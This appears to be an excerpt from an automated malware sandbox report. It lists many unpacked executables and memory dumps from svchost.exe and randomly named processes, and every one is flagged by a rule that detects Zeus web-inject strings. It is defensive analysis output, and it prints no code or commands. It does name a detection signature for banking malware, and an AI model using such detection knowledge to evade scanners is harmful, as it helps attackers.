Source: 2.3.svchost.exe.2d30000.17.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 6.2.NcYLgtXIKJgHj.exe.16e2000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.16.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.66.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.59.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.58.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 28.2.NcYLgtXIKJgHj.exe.2d12000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.43.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 6.2.NcYLgtXIKJgHj.exe.16e2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.8.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.7.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.37.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 20.2.NcYLgtXIKJgHj.exe.27d0000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.2.Bpfz752pYZ.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.32.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.33.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.30.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.33.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.65.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.29a2000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.65.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 31.2.NcYLgtXIKJgHj.exe.2792000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.57.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.55.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 36.2.NcYLgtXIKJgHj.exe.23a0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.44.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.30.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.2.Bpfz752pYZ.exe.406400.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.42.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.59.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.2cd1c00.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.2c70000.5.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 22.2.NcYLgtXIKJgHj.exe.2340000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.38.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.72.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 36.2.NcYLgtXIKJgHj.exe.23a0000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.53.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.881000.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.23.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.39.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 34.2.NcYLgtXIKJgHj.exe.bd2000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.31.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.13.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 10.2.NcYLgtXIKJgHj.exe.14c2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 14.2.NcYLgtXIKJgHj.exe.2922000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.19.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.18.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 31.2.NcYLgtXIKJgHj.exe.27f0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.62.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.25.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 34.2.NcYLgtXIKJgHj.exe.bd2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.2.Bpfz752pYZ.exe.400000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.5450000.15.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 22.2.NcYLgtXIKJgHj.exe.5e2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 28.2.NcYLgtXIKJgHj.exe.2d12000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 34.2.NcYLgtXIKJgHj.exe.2740000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.22.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.886000.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.881000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.407000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.17.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.45.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 20.2.NcYLgtXIKJgHj.exe.27d0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.2.Bpfz752pYZ.exe.406400.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 10.2.NcYLgtXIKJgHj.exe.1520000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.2.Bpfz752pYZ.exe.407000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.27.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.52.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.52.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.60.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 16.2.NcYLgtXIKJgHj.exe.2792000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.27.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.18.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.54.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 14.2.NcYLgtXIKJgHj.exe.2ac0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.29a2000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.46.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.51.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.3.Bpfz752pYZ.exe.6f31c8.0.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 25.2.NcYLgtXIKJgHj.exe.2f50000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.9.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.407000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.50.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.48.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.36.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 20.2.NcYLgtXIKJgHj.exe.2652000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.881000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.3.Bpfz752pYZ.exe.6f8dc8.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.2c70000.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 28.2.NcYLgtXIKJgHj.exe.2eb0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.3.Bpfz752pYZ.exe.6f31c8.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.58.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.11.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.9.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 16.2.NcYLgtXIKJgHj.exe.2a60000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.886c00.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.7.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.64.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.55.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.44.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.49.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2a50000.6.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.69.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.3.Bpfz752pYZ.exe.6f81c8.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.ee00000.74.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.24.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 22.2.NcYLgtXIKJgHj.exe.2340000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.68.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 7.2.NcYLgtXIKJgHj.exe.3100000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 16.2.NcYLgtXIKJgHj.exe.2a60000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.60.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.68.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 36.2.NcYLgtXIKJgHj.exe.2202000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.886000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.886000.5.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.20.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2a50000.6.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.53.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 14.2.NcYLgtXIKJgHj.exe.2922000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 7.2.NcYLgtXIKJgHj.exe.2fa2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.66.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 34.2.NcYLgtXIKJgHj.exe.2740000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 31.2.NcYLgtXIKJgHj.exe.27f0000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.47.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.20.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.42.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 6.2.NcYLgtXIKJgHj.exe.1740000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.61.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.886000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000006.00000002.2562028304.0000000001740000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000007.00000002.2554723271.0000000002FA0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2644113860.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2710293683.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2651597551.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2640221225.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2551297845.000000000ED00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2491630816.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2681109856.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000014.00000002.2584784821.00000000027D0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0000001F.00000002.2699028400.0000000002790000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2136779480.0000000000881000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2688837088.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2681703821.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2682799870.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2646845259.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000016.00000002.2606518078.00000000005E0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2693850041.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2694477664.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2610885248.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2667661376.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0000001F.00000002.2699100650.00000000027F0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2711656555.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0000000A.00000002.2576688656.0000000001520000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2689917423.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000000.00000003.2123232589.00000000006F3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2689093667.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2642349690.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000010.00000002.2538477716.0000000002A60000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
